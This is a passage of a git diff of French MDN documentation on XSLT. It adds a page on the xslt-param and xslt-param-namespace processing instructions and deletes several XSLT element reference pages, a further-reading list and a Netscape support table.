  • La position du contexte est la position du noeud de contexte dans la liste initiale de nœuds courants utilisée lors de l'exécution de la feuille de style.
    • -
  • La taille du contexte est la taille de la liste initiale de nœuds courants utilisée lors de l'exécution de la feuille de style.
    • -
  • Aucune variable n'est disponible.
    • -
  • La bibliothèque de fonctions est la bibliothèque standard de fonctions XPath.
    • -
  • Les déclarations d'espace de nommage sont déterminées par les PI xslt-param-namespace, voir ci-dessous.
    • -
- -

Si l'attribut select ne peut pas être analysé ou exécuté, la PI est ignorée (en particulier, l'attribut value ne sera pas utilisé comme valeur de secours).

- -

xslt-param-namespace

- -

xslt-param-namespace accepte deux attributs :

- -
-
prefix
-
Le préfixe mappé.
-
namespace
-
L'espace de nommage vers lequel le préfixe mappe.
-
- -

Une PI xslt-param-namespace affecte l'expression de l'attribut select de tous les xslt-param qui la suivent. Cela s'applique même s'il y a d'autres nœuds tels que des commentaires ou d'autres PI entre les PI xslt-param-namespace et xslt-param.

- -

Utiliser le même préfixe pour plusieurs instructions de traitement n'est pas une erreur, chaque nouvelle PI ne fait que changer l'espace de nommage vers lequel le préfixe renvoie.

- -

Si prefix est absent, vide ou égal un à NCName invalide, la PI est ignorée.

- -

Si namespace est absent, la PI est ignorée. Si namespace est vide, le mappage du préfixe est supprimé.

- -
Exemples
- -

Le paramètre books contient l'ensemble de noeuds qui regroupe tous les éléments <book> de l'espace de nommage http://www.example.org/myNamespace :

- -
<?xslt-param-namespace prefix="my" namespace="http://www.example.org/myNamespace"?>
-<?xslt-param name="books" select="//my:book"?>
-
- -

Versions supportées

- -

Supportées depuis Firefox 2.0.0.1. Dans la version 2, l'attribut value est supporté mais l'attribut select provoque des plantages pour certaines expressions.

- -

Possibilités de développements futurs

- -

Devons-nous autoriser n'importe quelle fonction XSLT dans les expressions ? document() semble utile, mais il semble difficile de conserver le fait que generate-id() devrait produire la même chaîne pour un même document.

- -

Interwiki Language Links

diff --git a/files/fr/web/xslt/pi_parameters/index.html b/files/fr/web/xslt/pi_parameters/index.html new file mode 100644 index 0000000000..057d35fca8 --- /dev/null +++ b/files/fr/web/xslt/pi_parameters/index.html @@ -0,0 +1,128 @@ +--- +title: Paramètres des instructions de traitement +slug: Web/XSLT/Paramètres_des_instructions_de_traitement +tags: + - XSLT +translation_of: Web/XSLT/PI_Parameters +--- +

Présentation

+ +

XSLT permet de passer des paramètres à une feuille de style lors de son exécution. C'était déjà possible depuis quelques temps dans l'XSLTProcessor sous JavaScript, mais pas lors de l'utilisation de l'instruction de traitement (PI, pour Processing Instruction) <?xml-stylesheet?>.

+ +

Pour résoudre cela, deux nouvelles PI (Instructions de traitement) ont été implémentées dans Firefox 2 (voir {{ Anch("Versions supportées") }} plus bas pour plus de détails), <?xslt-param?> et <?xslt-param-namespace?>. Ces deux PI peuvent contenir des « pseudo attributs » de la même manière que la PI (Instruction de traitement) xml-stylesheet.

+ +

L'exemple suivant passe les deux paramètres color et size à la feuille de style style.xsl :

+ +
<?xslt-param name="color" value="blue"?>
+<?xslt-param name="size" select="2"?>
+<?xml-stylesheet type="text/xsl" href="style.xsl"?>
+
+ +

Notez que ces PI n'ont aucun effet lorsque la transformation est faite à l'aide de l'objet XSLTProcessor en JavaScript.

+ +

Instructions de traitement

+ +

Les attributs des PI xslt-param et xslt-param-namespace sont analysés en utilisant les règles définies dans xml-stylesheet. Tous les attributs non reconnus sont ignorés. L'analyse d'un attribut n'échouera pas à cause de la présence d'un attribut non reconnu tant que cet attribut respecte la syntaxe définie dans xml-stylesheet.

+ +

Les deux instructions de traitement xslt-param et xslt-param-namespace doivent apparaître dans le prologue du document, c'est-à-dire avant la balise du premier élément. Toutes les PI du prologue sont exécutées, celles présentes avant une PI xml-stylesheet comme celles présentes après.

+ +

S'il existe plusieurs PI xml-stylesheet les paramètres s'appliquent à toutes les feuilles de style, conséquence du fait que selon la spécification XSLT, toutes les feuilles de style sont importées concaténées en une seule feuille.reference? Notez que les PI XSLT xml-stylesheet multiples ne sont pas supportées par Firefox à l'heure actuelle.

+ +

xslt-param

+ +

La PI xslt-param accepte quatre attributs :

+ +
+
name
+
La partie locale du nom du paramètre. Aucune vérification de syntaxe n'est faite pour cet attribut. Cependant, si ce n'est pas un NCName valide, il ne correspondra à aucun paramètre de la feuille de style.
+
namespace
+
L'espace de nommage du nom du paramètre. Aucune vérification de syntaxe n'est faite pour cet attribut.
+
value
+
Contient la valeur de chaîne du paramètre. La valeur de l'attribut est utilisée comme valeur du paramètre. Le type de donnée sera toujourschaîne.
+
select
+
Un expression XPath pour le paramètre. La valeur de cet attribut est analysée comme une expressions XPath. Le résultat de l'évaluation de l'expression est utilisé comme valeur pour le paramètre.
+
+ +

Si l'attribut name est absent ou vide, la PI est ignorée.

+ +

Si l'attribut namespace est absent ou vide, l'espace de nommage null est utilisé.

+ +

Spécifier un nom de paramètre qui n'existe pas dans la feuille de style (ou qui soit une variable dans la feuille de style) n'est pas une erreur. La PI est simplement ignorée dans ce cas.

+ +

Si les attributs value et select sont tous deux présents (ou absents) la PI est ignorée.

+ +

Notez que value="..." n'est pas strictement égal à select="'...'" car value peut contenir à la fois des caractères apostrophe et des caractères guillemet.

+ +
Exemples
+ +

Le paramètre color contient la chaîne red :

+ +
<?xslt-param name="color" value="red"?>
+
+ +

Le paramètre columns contient 2 :

+ +
<?xslt-param name="columns" select="2"?>
+
+ +

Le paramètre books contient l'ensemble de noeuds qui regroupe tous les éléments <book> de l'espace de nommage null :

+ +
<?xslt-param name="books" select="//book"?>
+
+ +

Le paramètre show-toc<code> contient le booléen <code>true :

+ +
 <?xslt-param name="show-toc" select="true()"?>
+
+ +
Le contexte de l'attributselect
+ +

Le contexte suivant est utilisé pour analyser et évaluer l'expression de l'attribut select.

+ +
    +
  • Le nœud de contexte est le nœud utilisé comme nœud courant initial lors de l'exécution de la feuille de style.
    • +
  • La position du contexte est la position du noeud de contexte dans la liste initiale de nœuds courants utilisée lors de l'exécution de la feuille de style.
    • +
  • La taille du contexte est la taille de la liste initiale de nœuds courants utilisée lors de l'exécution de la feuille de style.
    • +
  • Aucune variable n'est disponible.
    • +
  • La bibliothèque de fonctions est la bibliothèque standard de fonctions XPath.
    • +
  • Les déclarations d'espace de nommage sont déterminées par les PI xslt-param-namespace, voir ci-dessous.
    • +
+ +

Si l'attribut select ne peut pas être analysé ou exécuté, la PI est ignorée (en particulier, l'attribut value ne sera pas utilisé comme valeur de secours).

+ +

xslt-param-namespace

+ +

xslt-param-namespace accepte deux attributs :

+ +
+
prefix
+
Le préfixe mappé.
+
namespace
+
L'espace de nommage vers lequel le préfixe mappe.
+
+ +

Une PI xslt-param-namespace affecte l'expression de l'attribut select de tous les xslt-param qui la suivent. Cela s'applique même s'il y a d'autres nœuds tels que des commentaires ou d'autres PI entre les PI xslt-param-namespace et xslt-param.

+ +

Utiliser le même préfixe pour plusieurs instructions de traitement n'est pas une erreur, chaque nouvelle PI ne fait que changer l'espace de nommage vers lequel le préfixe renvoie.

+ +

Si prefix est absent, vide ou égal un à NCName invalide, la PI est ignorée.

+ +

Si namespace est absent, la PI est ignorée. Si namespace est vide, le mappage du préfixe est supprimé.

+ +
Exemples
+ +

Le paramètre books contient l'ensemble de noeuds qui regroupe tous les éléments <book> de l'espace de nommage http://www.example.org/myNamespace :

+ +
<?xslt-param-namespace prefix="my" namespace="http://www.example.org/myNamespace"?>
+<?xslt-param name="books" select="//my:book"?>
+
+ +

Versions supportées

+ +

Supportées depuis Firefox 2.0.0.1. Dans la version 2, l'attribut value est supporté mais l'attribut select provoque des plantages pour certaines expressions.

+ +

Possibilités de développements futurs

+ +

Devons-nous autoriser n'importe quelle fonction XSLT dans les expressions ? document() semble utile, mais il semble difficile de conserver le fait que generate-id() devrait produire la même chaîne pour un même document.

+ +

Interwiki Language Links

diff --git a/files/fr/web/xslt/preserve-space/index.html b/files/fr/web/xslt/preserve-space/index.html deleted file mode 100644 index e0300d426b..0000000000 --- a/files/fr/web/xslt/preserve-space/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: preserve-space -slug: Web/XSLT/preserve-space -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/preserve-space ---- -

-{{ XsltRef() }} -

L'élément <xsl:preserve-space> définit les éléments du document source pour lesquels les espaces doivent être préservées. Si il y a plus d'un élément, leurs noms doivent être séparés par des espaces. La politique par défaut est de conserver les espaces, cet élément n'est donc utile que pour contrer l'effet de <xsl:strip-space>. -

-

Syntaxe

-
<xsl:preserve-space elements=LISTE-DE-NOMS-D-ÉLÉMENTS  />
-
-

Attribut obligatoire

-
elements -
Définit les éléments pour lesquels les espaces doivent être préservées. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Haut niveau, doit être un enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Définition

-

XSLT 1.0, section 3.4. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/preserve-space", "pl": "pl/XSLT/preserve-space" } ) }} diff --git a/files/fr/web/xslt/processing-instruction/index.html b/files/fr/web/xslt/processing-instruction/index.html deleted file mode 100644 index cd5842c36a..0000000000 --- a/files/fr/web/xslt/processing-instruction/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: processing-instruction -slug: Web/XSLT/processing-instruction -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/processing-instruction ---- -

-{{ XsltRef() }} -

L'élément <xsl:processing-instruction> écrit une instruction de traitement dans le document de sortie. -

-

Syntaxe

-
<code><xsl:processing-instruction name=NOM>
-	MODÈLE
-</xsl:processing-instruction></code>
-

Attribut obligatoire

-
name -
Définit le nom de cette instruction de traitement. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 7.3. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/processing-instruction", "pl": "pl/XSLT/processing-instruction" } ) }} diff --git a/files/fr/web/xslt/sommaire/index.html b/files/fr/web/xslt/sommaire/index.html deleted file mode 100644 index fcd1895d72..0000000000 --- a/files/fr/web/xslt/sommaire/index.html +++ /dev/null @@ -1,8 +0,0 @@ ---- -title: Sommaire -slug: Web/XSLT/Sommaire -translation_of: Web/XSLT/Index ---- -
{{XSLTRef}}{{QuickLinksWithSubpages("/fr/docs/Web/XSLT")}}
- -

{{Index("/fr/docs/Web/XSLT")}}

diff --git a/files/fr/web/xslt/sort/index.html b/files/fr/web/xslt/sort/index.html deleted file mode 100644 index 1c783db1c3..0000000000 --- a/files/fr/web/xslt/sort/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: sort -slug: Web/XSLT/sort -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/sort ---- -

-{{ XsltRef() }} -

L'élément <xsl:sort> définit les paramètres de tri pour des nœuds sélectionnés par <xsl:apply-templates> ou par <xsl:for-each>. -

-

Syntaxe

-
<xsl:sort
-	select=EXPRESSION
-	order="ascending" | "descending"
-	case-order="upper-first"| "lower-first"
-	lang=XML:LANG-CODE
-	data-type="text" | "number" />
-
-

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
select -
Utilise une expression XPath pour définir les nœuds à classer. -
-
order -
Définit si les nœuds doivent être classés dans l'ordre ascendant ou descendant. La valeur par défaut est ascending. -
-
case-order -
Indique si ce sont les majuscules ou les minuscules qui apparaitront en premier. Les valeurs autorisées sont upper-first et lower-first. -
-
lang -
Définit la langue à utiliser pour le classement. -
-
data-type -
Définit si les éléments doivent être ordonnés alphabétiquement ou numériquement. Les valeurs autorisées sont text et number ; text est la valeur par défaut. -
-

Type

-

Sous-instruction, apparaît toujours comme un enfant de <xsl:for-each>, où il doit apparaître avant le modèle lui-même, ou comme enfant de <xsl:apply-templates>. -

-

Définition

- -

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/sort", "pl": "pl/XSLT/sort" } ) }} diff --git a/files/fr/web/xslt/strip-space/index.html b/files/fr/web/xslt/strip-space/index.html deleted file mode 100644 index 76ead0b589..0000000000 --- a/files/fr/web/xslt/strip-space/index.html +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: strip-space -slug: Web/XSLT/strip-space -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/strip-space ---- -

-{{ XsltRef() }} -

L'élément <xsl:strip-space> définit les éléments du document source dont les noeuds descendants ne contenant que des espaces doivent être supprimés. -

-

Syntaxe

-
<xsl:strip-space elements=LISTE-DE-NOMS-D-ÉLÉMENTS  />
-
-

Attribut obligatoire

-
elements -
Définit une liste d'éléments du document source, séparés par des espaces, desquels les nœuds ne comportant que des espaces doivent être supprimés. -
-

Attributs optionnels

-

Aucun. -

-

Type

-

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Définition

-

XSLT 1.0, section 3.4. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/strip-space", "pl": "pl/XSLT/strip-space" } ) }} diff --git a/files/fr/web/xslt/stylesheet/index.html b/files/fr/web/xslt/stylesheet/index.html deleted file mode 100644 index ba3b517967..0000000000 --- a/files/fr/web/xslt/stylesheet/index.html +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: stylesheet -slug: Web/XSLT/stylesheet -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/stylesheet ---- -

-{{ XsltRef() }} -

L'élément <xsl:stylesheet> (ou son équivalent <xsl:transform>) est l'élément le plus externe d'une feuille de style, celui qui contient tout les autres éléments. -

-

Déclaration de l'espace de nommage

-

Un pseudo-attribut est nécessaire pour identifier le document comme étant une feuille de style XSLT. Typiquement, on utilise xmlns:xsl="http://www.w3.org/1999/XSL/Transform". -

-

Syntaxe

-
<xsl:stylesheet
-	version=NOMBRE
-	xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
-	id=NOM
-	extension-element-prefixes=LISTE-DE-NOMS
-	exclude-result-prefixes=LISTE-DE-NOMS>
-		FEUILLE DE STYLE ENTIÈRE
-</xsl:stylesheet>

Attribut obligatoire

-
version -
Définit la version de XSLT requise par cette feuille de style. -
-

Attributs optionnels

-
id (Supporté comme dans Netscape 7.0 uniquement s'il est explicitement appelé par une DTD intégrée) -
Définit un identifiant id pour cette feuille de style. Cet attribut est le plus souvent utilisé lorsque la feuille de style est incorporée dans un autre document XML. -
-
extension-element-prefixes (Non supporté) -
Définit la liste des préfixes des espaces de nommage pour les éléments d'extension présent dans ce document. Les noms sont séparés par des espaces. -
-
exclude-result-prefixes -
Définit tous les espaces de nommage utilisés dans le document qui ne doivent pas être envoyés vers le document de sortie. Les noms sont séparés par des espaces. -
-

Type

-

Élément le plus externe de la feuille de style, obligatoire. -

-

Définition

-

XSLT 1.0, section 2.2. -

-

Support Gecko

-

Support partiel. Voir les commentaires ci-dessus. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/stylesheet", "pl": "pl/XSLT/stylesheet" } ) }} diff --git a/files/fr/web/xslt/template/index.html b/files/fr/web/xslt/template/index.html deleted file mode 100644 index 820b6a7a94..0000000000 --- a/files/fr/web/xslt/template/index.html +++ /dev/null @@ -1,45 +0,0 @@ ---- -title: template -slug: Web/XSLT/template -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/template ---- -

-{{ XsltRef() }} -

L'élément <xsl:template> définit un modèle produisant une sortie. Au moins l'un des atttributs match et set doit posséder une valeur. -

-

Syntaxe

-
<xsl:template
-	match=MOTIF
-	name=NOM
-	mode=NOM
-	priority=NOMBRE>
-	<xsl:param> [optionnel]
-	MODÈLE
-</xsl:template>

Attributs obligatoires

-

Aucun. -

-

Attributs optionnels

-
match -
Définit le motif qui détermine les éléments auxquels ce modèle doit être appliqué. Il devient attribut obligatoire si l'attribut name n'est pas présent. -
-
name -
Définit un nom pour ce modèle, par lequel il sera invoqué à l'aide de l'élément <xsl:call-template>. -
-
mode -
Définit un mode particulier pour ce modèle, qui peut correspondre à un attribut de l'élément <xsl:apply-templates>. Utile pour traiter la même information de différentes façons. -
-
priority -
Définit une priorité pour ce modèle, sous forme d'un nombre quelconque, à l'eception de Infinity (infini). Le processeur utilise ce nombre lorsque plusieurs modèles s'appliquent au même nœud. -
-

Type

-

Haut niveau, doit être l'enfant de <xsl:stylesheet> ou de <xsl:transform>. -

-

Définition

-

XSLT 1.0, section 5.3. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/template", "pl": "pl/XSLT/template" } ) }} diff --git a/files/fr/web/xslt/text/index.html b/files/fr/web/xslt/text/index.html deleted file mode 100644 index c69e56df6c..0000000000 --- a/files/fr/web/xslt/text/index.html +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: text -slug: Web/XSLT/text -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/text ---- -

-{{ XsltRef() }} -

L'élément <xsl:text> écrit un texte littéral dans l'arbre de sortie. Il peut contenir des #PCDATA, du texte littéral, et des références aux entités. -

-

Syntaxe

-
<xsl:text disable-output-escaping="yes" | "no">
-	TEXTE
-</xsl:text>
-

Attributs obligatoires

-

Aucun. -

-

Attribut optionnel

-
disable-output-escaping (Netscape ne sérialise pas le résultat de la transformation - la « sortie » ci-dessous - aussi cet attribut importe peu dans ce contexte. Pour écrire des entités HTML, utilisez les valeurs numériques correspondantes à leur place, par exemple &#160 pour &nbsp). -
Définit si les caractères spéciaux sont échappés lors de l'écriture vers la sortie. Les valeurs autorisées sont yes ou no. Si il est définit à yes, par exemple, le caractère <tt>></tt> est envoyé tel quel ( > )et non comme &gt. -
-

Type

-

Instruction, apparaît dans un modèle. -

-

Définition

-

XSLT 1.0, section 7.2. -

-

Support Gecko

-

Supporté comme indiqué plus haut. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/text", "pl": "pl/XSLT/text" } ) }} diff --git a/files/fr/web/xslt/transform/index.html b/files/fr/web/xslt/transform/index.html deleted file mode 100644 index f8b7ae371d..0000000000 --- a/files/fr/web/xslt/transform/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: transform -slug: Web/XSLT/transform -tags: - - Référence_XSLT -translation_of: Web/XSLT/Element/transform ---- -

-{{ XsltRef() }} -

L'élément <xsl:transform> est l'équivalent exact de l'élément <xsl:stylesheet>. -

-

Support Gecko

-

Supporté. -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLT/transform", "pl": "pl/XSLT/transform" } ) }} diff --git a/files/fr/web/xslt/transformations_xml_avec_xslt/autres_ressources/index.html b/files/fr/web/xslt/transformations_xml_avec_xslt/autres_ressources/index.html deleted file mode 100644 index d91041105f..0000000000 --- a/files/fr/web/xslt/transformations_xml_avec_xslt/autres_ressources/index.html +++ /dev/null @@ -1,217 +0,0 @@ ---- -title: Autres ressources -slug: Web/XSLT/Transformations_XML_avec_XSLT/Autres_ressources -tags: - - Transformations_XML_avec_XSLT - - XML - - XSLT -translation_of: Web/XSLT/Transforming_XML_with_XSLT/For_Further_Reading ---- -« Transformations XML avec XSLT -

Sources imprimées

- -

Livres

- -
-
XSLT: Programmer's Reference, Second Edition - -
-
Auteur : Michael H. Kay
-
Nombre de page : 992 pages
-
Éditeur : Wrox; 2 edition (May 3, 2001)
-
ISBN: 0764543814 -
-
Michael Kay est membre du groupe de travail XSL du W3C et le développeur de son propre processeur XSLT libre, Saxon. Il est également l'auteur du seul livre sur ce sujet à avoir bénéficié d'une seconde édition. C'est un gros livre, bien articulé, détaillé, épuisant le sujet, voire parfois le lecteur, et qui couvre toutes les bases possibles de XSLT.
-
-
-
-
-
- -

http://www.amazon.com/XSLT-Programme.../dp/0764543814

- -

 

- -
-
XSLT - -
-
Auteur : Doug Tidwell
-
Nombre de page : 473 pages
-
Éditeur : O'Reilly Media; 1 edition (August 15, 2001)
-
ISBN: 0596000537 -
-
Doug Tidwell est un développeur senior chez IBM et unévangéliste reconnu des technologies XML en général. Il est l'auteur de plusieurs articles et tutoriels concernant divers aspects de XML sur l'exhaustif site Web développeur d'IBM. Ce livre est moins complet que celui de Michael Kay, mais il couvre correctement les bases, et offre quelques exemples intéressants.
-
-
-
-
-
- -

http://www.amazon.com/Xslt-Doug-Tidwell/dp/0596000537

- -

 

- -
-
Learning XML, Second Edition - -
-
Auteur : Erik T. Ray
-
Nombre de page : 432 pages
-
Éditeur : O'Reilly Media; 2 edition (September 22, 2003)
-
ISBN: 0596004206 -
-
Comme l'indique le titre, il s'agit d'un aperçu général de XML. Le chapitre 6 est dédié spécifiquement à XSLT.
-
-
-
-
-
- -

http://www.amazon.com/gp/product/0596004206

- -

Sources numériques

- -

Sites Web

- -
-
World Wide Web Consortium - -
-
Page d'accueil du W3C : http://www.w3.org/
-
Page de XSL : http://www.w3.org/Style/XSL/
-
Recommandation XSLT 1.0 : http://www.w3.org/TR/xslt
-
Archive of public style (CSS and XSLT) discussions : http://lists.w3.org/Archives/Public/www-style/
-
Recommandation XPath 1.0 : http://www.w3.org/TR/xpath -
-
Le World Wide Web Consortium est l'organisme qui publie des recommandations sur un certain nombre de technologies Web, dont beaucoup deviennent de-facto des standards.
-
-
-
-
-
- -

Articles

- -
-
Hands-on XSL - -
-
Auteur : Don R. Day
-
Adresse : http://www-106.ibm.com/developerwork...-hands-on-xsl/
-
-
-
- -
-
Understanding XSLT - -
-
Auteur : Jay Greenspan
-
Adresse : http://hotwired.lycos.com/webmonkey/...l?tw=authoring
-
-
-
- -
-
What is XSLT? - -
-
Auteur : G. Ken Holman
-
Adresse : http://www.xml.com/pub/a/2000/08/holman/index.html
-
-
-
- -

Tutoriels et exemples

- -
-
Zvon - -
-
XSL Programmers : http://www.zvon.org/o_html/group_xsl.html
-
-
-
- -
-
Jeni's XSLT Pages - -
-
Index : http://www.jenitennison.com/xslt/
-
-
-
- -
-
XMLPitstop.com - -
-
StyleSheet Center : http://www.xmlpitstop.com/Default.asp?DataType=SSC
-
-
-
- -
-
XSL Tutorial - -
-
Index : http://www.nwalsh.com/docs/tutorials/xsl/
-
-
-
- -

Extensions

- -
-
Extension Firefox XSL Results - -
-
Permet à chacun d'essayer XSL, en appliquant des feuilles de styles XSL (saisies manuellement, via une URL ou depuis un fichier local) à un document XML (un document chargé dans une fenêtre du navigateur ou un document saisi manuellement).
-
-
-
- -

Autres ressources

- -
-
Cover Pages - -
-
Extensible Stylesheet Language (XSL) : http://www.oasis-open.org/cover/xsl.html
-
-
-
- -
-
XSL-List - -
-
Abonnement : http://www.mulberrytech.com/xsl/xsl-list/
-
Archives : http://www.biglist.com/lists/xsl-list/archives/ -
-
XSL-List est une liste de diffusion généraliste très active, hébergée par Mulberry Technologies
-
-
-
-
-
- -
-
mozilla.dev.tech.xslt - -
-
Google Groups : http://groups.google.com/group/mozilla.dev.tech.xslt - -
-
Ce groupe de discussion est l'endroit où discuter des spécificités XSLT de Netscape.
-
-
-
-
-
- -


- Interwiki Languages Links

- -

{{ languages( { "en": "en/Transforming_XML_with_XSLT/For_Further_Reading", "pl": "pl/Transformacje_XML_z_XSLT/Przeczytaj_wi\u0119cej" } ) }}

diff --git a/files/fr/web/xslt/transformations_xml_avec_xslt/index.html b/files/fr/web/xslt/transformations_xml_avec_xslt/index.html deleted file mode 100644 index 11c1e139b0..0000000000 --- a/files/fr/web/xslt/transformations_xml_avec_xslt/index.html +++ /dev/null @@ -1,112 +0,0 @@ ---- -title: Transformations XML avec XSLT -slug: Web/XSLT/Transformations_XML_avec_XSLT -tags: - - Transformations_XML_avec_XSLT - - XML - - XSLT -translation_of: Web/XSLT/Transforming_XML_with_XSLT ---- -

-


-

-

Présentation

-

La séparation du contenu et de la présentation est l'une des caractéristiques principale du XML. La structure d'un document XML est conçue pour refléter et clarifier les relations entre les différents aspects du contenu lui-même, sans l'obsurcir par la nécessité d'y intégrer des indications sur la présentation qui lui sera appliquée ensuite. Cette structure intelligente est particulièrement importante, car de plus en plus de transferts de données sont automatisés et se font entre des machines très hétérogènes reliées par un réseau. -

Mais au bout du compte, la plus grande partie du contenu des documents XML devra être présentée à des lecteurs humains. Parce qu'un navigateur possède une interface familière et extrêmement flexible, c'est un moyen idéal pour afficher une version du contenu XML remise en forme spécifiquement pour être présentée. Conçu dès ses débuts pour s'appuyer sur un large éventail de technologies XML, Mozilla intègre tous les mécanismes nécessaires au traitement des documents XML originaux, et des feuilles de styles spécialisées utilisées pour définir le traitement à leur appliquer pour un affichage en HTML. En déplaçant le processus de transformation du côté client, on réduit ainsi la charge serveur. -

Actuellement, Gecko (le moteur de rendu de Mozilla et Firefox) supporte deux formats de feuilles de styles XML. Pour le contrôle basique de l'apparence -- fontes, couleurs, position, etc. -- Gecko utilise CSS, tiré du DHTML. Toutes les spécifications CSS1 et la majorité des CSS2 sont supportées, le support du tout récent CSS3 est en développement. Pour plus d'information à propos de CSS, consultez le site Eric Meyer's CSS pages. -

Nous nous intéressons ici au second type de feuilles de styles supporté par Gecko : la feuille de style XSLT. XSLT signifie eXtensible Stylesheet Language/Transform. XSLT permet à un concepteur de feuilles de styles de transformer un document XML de départ de deux façons significatives : manipuler et réordonner le contenu (une réorganisation complète de celui-ci est possible si on le désire), et le transférer dans un autre format (dans le cas de Mozilla, on se concentre sur sa conversion à la volée en HTML pour permettre son affichage dans le navigateur). -

-

Référence XSLT/XPath

-

Éléments

- -

Axes

- -

Fonctions

- -

Autres ressources

- -

Index

-
-

Information sur le document original

-
  • Copyright : Copyright © 2001-2003 Netscape. All rights reserved. -
  • Note : Cette article faisait partie du site DevEdge. -
-
-


-Interwiki Languages Links -

{{ languages( { "en": "en/Transforming_XML_with_XSLT", "es": "es/Transformando_XML_con_XSLT", "pl": "pl/Transformacje_XML_z_XSLT", "ko": "ko/Transforming_XML_with_XSLT" } ) }} diff --git "a/files/fr/web/xslt/transformations_xml_avec_xslt/la_r\303\251f\303\251rence_xslt_xpath_de_netscape/index.html" "b/files/fr/web/xslt/transformations_xml_avec_xslt/la_r\303\251f\303\251rence_xslt_xpath_de_netscape/index.html" deleted file mode 100644 index 0e839c04d8..0000000000 --- "a/files/fr/web/xslt/transformations_xml_avec_xslt/la_r\303\251f\303\251rence_xslt_xpath_de_netscape/index.html" +++ /dev/null @@ -1,238 +0,0 @@ ---- -title: Transformations_XML_avec_XSLT/La_référence_XSLT//XPath_de_Netscape -slug: Web/XSLT/Transformations_XML_avec_XSLT/La_référence_XSLT_XPath_de_Netscape -translation_of: Web/XSLT/Transforming_XML_with_XSLT/The_Netscape_XSLT_XPath_Reference ---- -

-

La liste ci-dessous, ordonnée alphabétiquement, présente les élémentes, les axes et les fonctions de la recommandation XSLT 1.0 du W3C, ainsi que les sections appropriées de la recommandation XPath. Le développement de XSLT est toujours en cours, et ce document sera mis à jours au fur et à mesure de l'extension des fonctionnalités. -

-

Éléments

-

xsl:apply-imports

-

(supporté) -

-

xsl:apply-templates

-

(supporté) -

-

xsl:attribute

-

(supporté) -

-

xsl:attribute-set

-

(supporté) -

-

xsl:call-template

-

(supporté) -

-

xsl:choose

-

(supporté) -

-

xsl:comment

-

(supporté) -

-

xsl:copy

-

(supporté) -

-

xsl:copy-of

-

(supporté) -

-

xsl:decimal-format

-

(supporté) -

-

xsl:element

-

(supporté) -

-

xsl:fallback

-

(non supporté) -

-

xsl:for-each

-

(supporté) -

-

xsl:if

-

(supporté) -

-

xsl:import

-

(mostly supported) -

-

xsl:include

-

(supporté) -

-

xsl:key

-

(supporté) -

-

xsl:message

-

(supporté) -

-

xsl:namespace-alias

-

(non supporté) -

-

xsl:number

-

(partiellement supporté) -

-

xsl:otherwise

-

(supporté) -

-

xsl:output

-

(partiellement supporté) -

-

xsl:param

-

(supporté) -

-

xsl:preserve-space

-

(supporté) -

-

xsl:processing-instruction

-

xsl:sort

-

(supporté) -

-

xsl:strip-space

-

(supporté) -

-

xsl:stylesheet

-

(partiellement supporté) -

-

xsl:template

-

(supporté) -

-

xsl:text

-

(partiellement supporté) -

-

xsl:transform

-

(supporté) -

-

xsl:value-of

-

(partiellement supporté) -

-

xsl:variable

-

(supporté) -

-

xsl:when

-

(supporté) -

-

xsl:with-param

-

(supporté) -

-

Axes

-

ancestor

-

ancestor-or-self

-

attribute

-

child

-

descendant

-

descendant-or-self

-

following

-

following-sibling

-

namespace

-

(non supporté) -

-

parent

-

preceding

-

preceding-sibling

-

self

-

Fonctions

-

boolean()

-

(supporté) -

-

ceiling()

-

(supporté) -

-

concat()

-

(supporté) -

-

contains()

-

(supporté) -

-

count()

-

(supporté) -

-

current()

-

(supporté) -

-

document()

-

(supporté) -

-

element-available()

-

(supporté) -

-

false()

-

(supporté) -

-

floor()

-

(supporté) -

-

format-number()

-

(supporté) -

-

function-available()

-

(supporté) -

-

generate-id()

-

(supporté) -

-

id()

-

(partiellement supporté) -

-

key()

-

(supporté) -

-

lang()

-

(supporté) -

-

last()

-

(supporté) -

-

local-name()

-

(supporté) -

-

name()

-

(supporté) -

-

namespace-uri()

-

(supporté) -

-

normalize-space()

-

(supporté) -

-

not()

-

(supporté) -

-

number()

-

(supporté) -

-

position()

-

(supporté) -

-

round()

-

(supporté) -

-

starts-with()

-

(supporté) -

-

string()

-

(supporté) -

-

string-length()

-

(supporté) -

-

substring()

-

(supporté) -

-

substring-after()

-

(supporté) -

-

substring-before()

-

(supporté) -

-

sum()

-

(supporté) -

-

system-property()

-

(supporté) -

-

translate()

-

(supporté) -

-

true()

-

(supporté) -

-

unparsed-entity-url()

-

(supporté) -

Interwiki Languages Links -

